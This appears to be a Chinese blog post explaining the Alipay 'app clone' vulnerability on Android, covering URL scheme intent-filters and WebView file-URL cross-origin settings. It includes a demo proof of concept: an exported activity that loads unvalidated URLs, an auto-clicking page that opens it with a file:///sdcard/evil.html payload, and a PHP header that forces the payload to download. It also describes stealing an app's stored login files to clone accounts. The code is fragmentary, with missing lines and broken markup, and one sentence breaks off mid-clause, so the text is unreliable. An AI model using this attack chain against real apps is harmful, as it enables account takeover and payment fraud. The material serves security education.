这个新闻大概是这样的,近期,腾讯安全玄武实验室负责人"TK教主"于旸就用短信为载体,现场披露了"应用克隆"这一移动攻击威胁模型。玄武实验室以支付宝App为例展示了攻击效果:在升级到最新安卓8.1.0的手机上,利用支付宝App自身的漏洞,"攻击者"向用户发送一条包含恶意链接的手机短信,用户一旦点击,其支付宝账户一秒钟就被"克隆"到"攻击者"的手机中,然后"攻击者"就可以任意查看用户账户信息,并可进行消费。
看到这里一定会有很多小伙伴担心自己中招,钱被刷走!其实大家不用这么紧张,今天小编我就用本篇内容给大家分享一下"克隆攻击"的实现原理!以及我们该如何防范此类攻击!
克隆攻击实现过程及原理:
一、URL Scheme
<scheme>://<host>:<port>/<path>?<query>
如下是一个自定义协议的URI:
通过上面的路径 Scheme、Host、port、path、query全部包含:
<intent-filter> <!--正常启动-->
<category android:name="android.intent.category.LAUNCHER"/>
<intent-filter> <!--URL Scheme启动-->
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.BROWSABLE"/>
<category android:name="android.intent.category.DEFAULT"/>
<data android:scheme="urlscheme"
android:host="auth_activity">
<intent-filter>
<action android:name="emms.intent.action.check_authorization"/>
<category android:name="emms.intent.category.authorization"/>
urlschemel://auth_activity
● 如果没有指定scheme,那么host参数会被忽略● 如果没有指定host,那么port参数会被忽略● 如果scheme和host都没有指定,path参数会被忽略当我们将intent对象中的Uri参数与intent-filter中的<data>标签指定的URI格式进行对比时,我们只对比intent-filter的<data>标签指定的部分,例如:● 如果intent-filter中只指定了scheme,那么所有带有该sheme的URI都能匹配到该intent-filter。● 如果intent-filter中只指定了scheme和authority(authority包括host和port两部分)而没有指定path,那么所有具有相同scheme和authority的URI都能匹配到该intent-filter,而不用考虑path为何值。● 如果intent-filter中同时指定了scheme、authority和path,那么只有具有相同scheme、authority和path的URI才能匹配到该intent-filter。需要注意的是,intent-filter的<data>标签在指定path的值时,可以在里面使用通配符*,起到部分匹配的效果。2). 使用URL启动Activity
Uri data = Uri.parse("urlschemel://auth_activity");
//保证新启动的APP有单独的堆栈,如果希望新启动的APP和原有APP使用同一个堆栈则去掉该项 intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivityForResult(intent, RESULT_OK);
e.printStackTrace();
}
当然可以在网页中调用
或者是在JS中调用
二、Webview跨域
http://www.123.com/index.html 调用 http://www.123.com/server.php (非跨域)
http://abc.123.com/index.html 调用 http://def.123.com/server.php (子域名不同:abc/def,跨域)
http://www.123.com/index.html 调用 https://www.123.com/server.php (协议不同:http/https,跨域)
三、漏洞产生原因
支付宝应用克隆漏洞产生的条件:(1)应用中存在设置为可被导出的Activity组件,并且组件中包含Webview调用。(2)Webview调用中setAllowFileAccessFromFileURLs 或setAllowUniversalAccessFromFileURLs 设置为true(minSdk<=4.1 默认为true,minSdk>4.1 默认为false),导致可以跨域访问(允许通过file域对http域进行访问)。
setAllowFileAccess设置是否允许WebView使用File协议,默认值是允许,如果不允许使用File协议,则不会存在下述的各种跨源的安全威胁,但同时也限制了webview的功能,使其不能加载本地的html文件setAllowFileAccessFromFileURLs设置是否允许通过file url加载的Javascript读取其它的本地文件,这个设置在JELLY_BEAN以前的版本默认是允许,在JELLY_BEAN及以后的版本中默认是禁止的。
setAllowUniversalAccessFromFileURLs设置是否允许通过file url加载的Javascript可以访问其它的源,包括其他的文件和http,https等其他的源。这个设置在JELLY_BEAN以前的版本默认是允许,在JELLY_BEAN及以后的版本中默认是禁止的。
四、漏洞的利用
在支付宝接入文档中(https://open.alipay.com/search/searchDetail.htm)搜索了关于支付宝scheme的用法,主要有以下几种:(1)芝麻可信电子合约方案接入
(2)卡券url scheme
卡列表(此appId为内部参数,不能更改)
商户卡列表(pid参数指定商户的支付宝partner_id)
卡详情(p参数指定会员卡的支付宝编号)
alipays://platformapi/startapp?appId=20000021&b=m&p=11111&tagfrom=push
网上有文章()说,在Android版Chrome浏览器版本18及更早版本可以通过在页面中嵌入iframe来实现打开应用程序
<iframe src="paulsawesomeapp://page1">
所以,这里只能自己写demo程序演示这个原理了,以后如果复现成功了再补充。首先,创建一个demo工程,包含一个MainActivity,在该Activity中通过setAllowFileAccessFromFileURLs和setAllowUniversalAccessFromFileURLs为true开启了webview的跨域功能(实际只需要设置一个就行了)。具体代码如下:
protected void onCreate(Bundle savedInstanceState) {
setContentView(R.layout.activity_main);
WebSettings wSet = wView.getSettings();
//开启跨域访问,以下两个方法开启一个就行了
wSet.setAllowUniversalAccessFromFileURLs(true);
Uri uri = getIntent().getData();
String url = uri.getQueryParameter("url");
}
}
以下是该activity的URL scheme配置
由前面介绍的URL Scheme的知识我们知道,可以通过<a href="vultest://bamb00.com"></a>打开这个activity。我们看到代码中通过loadUrl加载了URL Scheme传递进来的参数作为url,但是并没有对这个url路径进行校验,所以我们完全可以通过构造一个url scheme传递一个指向恶意文件的路径,让该应用的webview加载,从而实现漏洞利用。我们首先在SD卡上创建一个evil.html文件作为恶意代码文件,内容如下:
<?xml version="1.0" encoding="utf-8"?><html>
<tilt>恭喜你,中奖了!</title>
<body>
</body></html>
然后我们在pc上用xampp搭建一个php服务器,创建一个test.html文件放入根目录,test.html的文件内容如下:
<script src="https://cdn.bootcss.com/jquery/3.2.1/jquery.min.js"></script>
$(function(){
$("#sp").trigger("click");
setTimeout(clicksp, 500);
<a href="vultest://bamb00.com?url=file:///sdcard/evil.html">open app<span id="sp"></span></a>
然后我们通过在手机浏览器中访问"pc机IP地址/evil.html"进行测试,发现demo程序已被启动,如图:
跨域漏洞利用是成功了,但是这个恶意页面应该如何放到用户手机上呢?这就需要利用到chrome浏览器的一个漏洞了。chrome浏览器在处理 Content-Disposition: attachment 的时候,UI设计存在漏洞,导致可以自动下载文件到固定的本地目录。PoC如下:
header("Content-Disposition: attachment; filename=evil.html");
?>
接下来,我们创建一个test.php文件,写入上述内容,放入服务器web根目录,然后在test.html文件开头加上代码:
如图所示:
如果在evil.html中写入的是获取应用"/data/data/包名"目录下保存用户登录信息文件上传给服务器端的代码,那么恶意攻击者就只需要想办法让用户点击攻击者精心构造的test.html的链接,就完全可以获取用户身份信息,在另外一部手机上克隆这个应用的用户信息了。支付宝克隆漏洞的产生也是如此。支付宝存在开启了跨域功能的webview组件,而且这个页面是可以通过URL Scheme协议打开的。恶意攻击者只要借助一个钓鱼页面就把手机中支付宝账号信息上传到自己的服务器了。
1、首先我们上述已经还原整个攻击过程,攻击者首先向被攻击者发送一条带有网址链接的短信,当被攻击者点击短信中的网址链接后,会显示一个抢红包的页面,与此同时攻击者一方的智能手机就已经显示被攻击者支付宝账户的页面信息,而后攻击者可以通过线下购物的"扫码支付"等方式完成支付。
2、第二点是攻击者在克隆支付宝账户之后,只能使用付款码进行支付,因为他并没有获得你的支付密码,而攻击者之所以能够使用付款码完成支付,完全是因为一些人为了省事,开通了小额免密支付的功能,由于受到这次攻击事件的影响,目前支付宝已经不再提供新开启小额免密支付的服务,其他支付工具如微信支付、新浪钱包、滴滴出行等APP也已经找不到免密支付的设置窗口。
不过虽然攻击者可以克隆支付宝账户,但其实只是获得了一个支付宝账户的外壳,例如支付密码的信息攻击者是没能获取的,由于支付宝的登录密码并不是明文密码,因此即便攻击者获取到支付宝的
3、最后就是最简单的方法更新你的支付宝等app,因为此漏洞曝光后,厂商们都及时更新了自己的app,弥补了漏洞。
上述内容不知道大家学习到了吗?网络世界的安全漏洞每天都会出现,安全知识和安全意识每个公民都应该了解和学习,有想学习网络安全技能的小伙伴可以随时私信我哦!
